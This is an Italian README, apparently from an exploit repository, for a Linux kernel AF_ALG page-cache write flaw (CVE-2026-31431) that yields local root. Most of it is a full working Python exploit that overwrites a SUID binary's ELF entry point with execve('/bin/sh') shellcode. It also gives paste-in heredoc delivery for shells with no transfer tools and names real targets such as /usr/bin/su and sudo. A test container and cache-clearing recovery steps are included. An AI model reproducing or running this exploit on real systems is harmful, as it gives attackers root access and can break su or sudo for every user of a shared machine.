
CVE-2026-31431 Copy Fail — Exploit LPE universale. Offset ELF dinamico + sovrascrittura completa del binario, compatibile con Python 2/3 con fallback splice tramite ctypes
Scrittura arbitraria di 4 byte nella page cache del kernel Linux → Escalation dei privilegi locali
Molteplici approcci di exploit: sovrascrittura dinamica dell'entry point ELF, sostituzione completa del binario, compatibile con Python 3.x con fallback splice via ctypes.
CVE-2026-31431 è una vulnerabilità nel sottosistema crypto AF_ALG del kernel Linux. Abusando di splice() + decrittazione in-place di authencesn, un utente non privilegiato può scrivere 4 byte a un offset arbitrario nella page cache del kernel — la stessa cache usata per tutta la memoria mappata su file.
Questo significa:
Questo repository fornisce tre strumenti che usano la stessa primitiva copy-fall di AF_ALG:
| Entry Point Dinamico | Sostituzione Completa del Binario | Verifica Vulnerabilità | |
|---|---|---|---|
| File | exploit.py | poc_compatible.py | check_cve.sh |
| Strategia | Sovrascrive l'entry point ELF con shellcode | Sostituisce l'intero binario dall'offset 0 | Verifica se il target è vulnerabile |
| Target | Qualsiasi binario SUID x86_64 | Qualsiasi binario (SUID o meno) | N/D |
| Python | 3.x (tutte le versioni) | 2 / 3 | Bash |
| Payload | Shellcode da 36 byte | ELF completo compresso con zlib | N/D |
| Autore | Questo lavoro | h4ppy7ree | h4ppy7ree |
Entry point dinamico — Analizza l'header ELF a runtime per calcolare l'offset del file dell'entry point (p_offset + (e_entry - p_vaddr)), quindi scrive uno stub di shellcode. Nessun offset hardcoded — un singolo script funziona su qualsiasi binario SUID x86_64 indipendentemente dalla distribuzione o versione.
Sostituzione completa del binario — Sovrascrive il target dall'offset 0 con un payload ELF completo pre-costruito (compresso con zlib e incorporato nello script). Può colpire binari non-SUID eseguiti da processi privilegiati (cron job, servizi systemd, kube-proxy). Funziona con Python 2.
Verifica vulnerabilità — Verifica se il sistema target dispone di AF_ALG, authencesn e algif_aead prima di eseguire un exploit.
exploit.py; Python 2 supportato tramite poc_compatible.py)/usr/bin/su, /usr/bin/sudo, ecc.)# Crea un container di test con un utente non privilegiato
docker run -ti --rm ubuntu:22.04 bash -c '
sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
apt-get update -qq && apt-get install -y -qq python3 gcc
cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
printf("uid=%d euid=%d\\n", getuid(), geteuid());
printf("Not rooted - exploit entry point to get shell\\n");
return 0;
}
EOF
gcc -o /usr/local/bin/verify /tmp/verify.c
chmod 4755 /usr/local/bin/verify
useradd -m testuser
su - testuser
'
Poi, all'interno del container come testuser:
# Prima: setuid(0) fallisce perché l'uid reale non è 0
/usr/local/bin/verify
# uid=1000 euid=0
# (esce normalmente, nessun root)
# Esegui l'exploit
python3 exploit.py /usr/local/bin/verify
# Dopo: entry point sovrascritto, lo shellcode ottiene root
# uid=0(root) gid=1000(testuser)
Negli scenari reali spesso hai solo una shell grezza — niente scp, niente curl, niente wget. Questo metodo usa l'heredoc di cat per scrivere l'exploit direttamente nel terminale:
# Opzione 1: esegui lo script shell
sh exploit-one-liner.sh /usr/local/bin/verify
# Opzione 2: incolla direttamente nel terminale (copia l'intero blocco)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
_l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
if r==-1:raise OSError(ctypes.get_errno(),'splice')
return r
os.splice=_s
def d(x):
if isinstance(x,str):x=x.encode('ascii')
return binascii.unhexlify(x)
def w(t,o,p):
s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
u,_=s.accept();z=d('00')
u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
try:u.recv(8+o)
except:0
[os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for i in range(n):
f.seek(p+i*sz);ph=f.read(sz)
if struct.unpack_from('<I',ph,0)[0]!=1: continue
pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY
python3 /tmp/exploit.py /usr/local/bin/verify
Perché è importante: Gli ambienti container spesso mancano di strumenti di trasferimento file (
scp,curl,wget). Il metodo heredoc richiede solocatepython3— disponibili ovunque.
Puoi sostituire /usr/local/bin/verify con qualsiasi binario SUID-root:
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh
⚠️ Avvertenza: Colpire binari SUID di sistema (come
/usr/bin/su) influisce su tutti gli utenti del sistema. Il binario diventa inutilizzabile finché la page cache non viene cancellata. Sulla macchina host, qualsiasi utente che eseguesuotterrebbe una shell root.Su un sistema condiviso/produttivo, questo è immediatamente evidente —
suandrà in crash o genererà shell inaspettate per tutti. Usaverify.cper test sicuri.
L'exploit modifica solo la page cache (memoria), non il disco. Opzioni di recupero:
| Metodo | Dove | Comando |
|---|---|---|
| Cancella la page cache | Host (root) | echo 3 > /proc/sys/vm/drop_caches |
| Riavvio | Ovunque | reboot — la page cache è volatile |
| Container distrutto | Ovunque | docker rm — la page cache viene rilasciata con il container |
# Sull'host (dopo il test nel container):
echo 3 | sudo tee /proc/sys/vm/drop_caches
# Verifica il recupero:
xxd -l 8 /usr/bin/su
# Dovrebbe mostrare: 7f45 4c46 (.ELF)